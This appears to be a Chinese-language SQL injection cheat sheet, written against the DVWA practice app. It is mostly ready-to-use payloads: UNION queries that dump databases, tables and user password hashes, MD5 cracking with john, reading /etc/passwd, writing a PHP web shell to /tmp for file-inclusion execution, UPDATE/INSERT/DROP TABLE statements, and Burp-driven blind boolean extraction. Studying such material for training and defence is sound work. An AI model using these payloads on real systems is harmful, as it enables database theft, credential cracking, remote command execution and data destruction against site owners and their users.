SQL 数字型及字符型注入
判断是否存在SQL注入漏洞
假如网址为http://www.xxx.com/1.php?id=1
- 基于报错检测
http://www.xxx.com/1.php?id=1'
http://www.xxx.com/1.php?id=1"
http://www.xxx.com/1.php?id=1%
http://www.xxx.com/1.php?id=1(
http://www.xxx.com/1.php?id=1)
- 基于布尔检测
1' and '1 # 页面正常
1' and '0 # 页面异常
# 单引号也能是双引号,百分号等字符。取决于后端SQL语句。
# 单引号的十六进制为0x2c 有时单引号会被转义
判断显示信息列数
' order by 10--
# 注意是mysql 是减减空格
说明大了,二分法依次往下判断知道恰好不报错
则可以判断字段数为2
判断显示位置
' union select 1,2--
# mysql 使用数字判断不会报错,Oracle、SQL Server 等需要用null 判断
查询敏感信息
查询数据库版本及主机名
' union select @@version,@@hostname--
查看当前目录及操作系统
' union select @@datadir,@@version_compile_os--
查询数据库:
查询当前库:
' union select (select DATABASE()),2--
查询所有数据库:
' union select SCHEMA_NAME,null from INFORMATION_SCHEMA.SCHEMATA--
一次查询多个数据库及库中所含表的数量:
' union select table_schema,count(*) from information_schema.tables group by table_schema--
可以利用concat_ws函数查询多个并连接起来:
' union select concat_ws(',',(select SCHEMA_NAME from INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),(select SCHEMA_NAME from INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1),(select SCHEMA_NAME from INFORMATION_SCHEMA.SCHEMATA LIMIT 2,1),((select SCHEMA_NAME from INFORMATION_SCHEMA.SCHEMATA LIMIT 3,1))),2--
防止过滤可以将 ‘,’ 换成 char(44) (逗号的ASCII)
查询表:
查询当前库中的数据表:
' union select TABLE_NAME,null from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA= DATABASE()--
查询指定库中的数据表:
' union select TABLE_NAME,null from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA='mysql'--
查询字段:
' union select COLUMN_NAME,null from INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA='dvwa' and TABLE_NAME='users'--
查询记录:
' union select user,password from dvwa.users--
或
' union select concat(user,0x3a,password),null from dvwa.users--
# 0x2c是分隔符逗号的十六进制
解密:
方法一:利用kali自带工具
利用工具
hash-identifier
输入hash值,判断可能加密方式
尝试MD5 解密:
john --format=raw-MD5 1.txt
john --format=raw-MD5 1.txt --show
# 查看之前破解过的的记录
方法二
读取写入文件
- 读取文件
' union select load_file('/etc/passwd'),null--
- 写入文件
' union select null,"<?php echo shell_exec($_GET['cmd']);?>" INTO DUMPFILE "/tmp/a.php"--
# tmp目录默认可以写入
也可以写入十六进制的shell:
kali转换十六进制步骤:
先保存php文档如a.php,利用命令行
cat a.php | xxd -ps | tr -d '\n'
3c3f70687020706173737468727528245f4745545b27636d64275d293b3f3e0a
写入:
' union select null, (0x3c3f70687020706173737468727528245f4745545b27636d64275d293b3f3e0a) INTO DUMPFILE "/tmp/a.php"--
这种方式需要用括号括起来并以0x开头,注意括号前面加一个空格
再利用文件包含漏洞获取shell
?page=/tmp/a.php&cmd=id
保存下载数据库
' union select null,concat(user,0x3a,password) from users INTO OUTFILE '/tmp/a.db'--
利用文件包含漏洞读取
无法读取information_schema库/拒绝union、order by语句
爆破当前表的字段
字典:
find / -name *column*.txt
cat /usr/share/sqlmap/data/txt/common-columns.txt | grep -v ^# > ~/Desktop/column.txt
爆破模板:
' and column is null--
爆破字段名:
字典:
cat /usr/share/sqlmap/data/txt/common-tables.txt | grep -v ^# > ~/Desktop/table.txt
爆破当前表:
' and table.column is null--
这里的column 是已经爆出的字段名
爆破其它表:
' and (select count(*) from table)>0--
爆破字段
' or user='admin
admin为爆破对象
' or user like '%a%
当数据库可写
- 修改
';update users set user='diyuser' where user='admin
这条注入语句无法注入是sql 客户端代码问题
思路:注入改掉用户账号或者密码
- 插入
';INSERT INTO uers('user_id','first_name','last_name'.'user','password','avatar') VALUES ('35','admin','admin','5f4dcc3b5aa765d61d8327deb882cf99','OK');--
- 删除
';DROP TABLE users;--
布尔盲注
判断页面是否存在布尔类型
1' and 1--
页面回显正常
1' and 0--
页面回显异常
可以判断存在布尔类型。
判断当前数据库名
判断长度
1' and length(database())<5--
页面正常,说明数据库名称长度小于5
1' and length(database())<4--
页面异常,说明数据库名称长度等于4
可以利用burp 半自动快速判断:
判断数据库名:
1' and substr(database(),1,1)>‘a’--
或
1' and ascii(mid(database(),1,1))>65--
mid(abcde,1,1)
# 表示从第一个字符开始截取一个字符
可以判断,利用burp半自动判断:
如果是判断字母,字典不需要大小写,如果判断ASCII值一般测试65~122(包含了大小写字母加下划线)
变量分别为 第几个字符 和 ASCII ,攻击方式为Cluster Bomb
按长度排序后,可以算出其对应字幕,即dvwa
判断表名
判断长度
判断第一个表名长度
1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>0--
判断第二个表名长度
1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))>0--
这里又可以添加两个变量:
判断出有两个表,第一个表的长度为9,第二个为5
判断表名
判断第一个表名
判断第一个字母
1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'a'--
判断第二个字母
1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)>'a'--
利用burp爆出第一个表名:guestbook
判断第二个表名
判断第一个字母
1' and substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)>'a'--
判断第二个字母
1' and substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1)>'a'--
同理利用burp爆出表名:users
判断字段名
其实用工具的情况下可以不用先判断长度,直接通过变量判断名字:
1' and substr((select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA='dvwa' and TABLE_NAME='users' limit 0,1),1,1)='a'--
limit 0,1),1,1)='a'
^ ^ ^ 3个变量
第一个变量0-9为第几个字段
第一个变量0-9为字段的第几个字母
第三个变量a-z和下划线为字段名
爆出字段名:user_id、first_name、last_name、user、password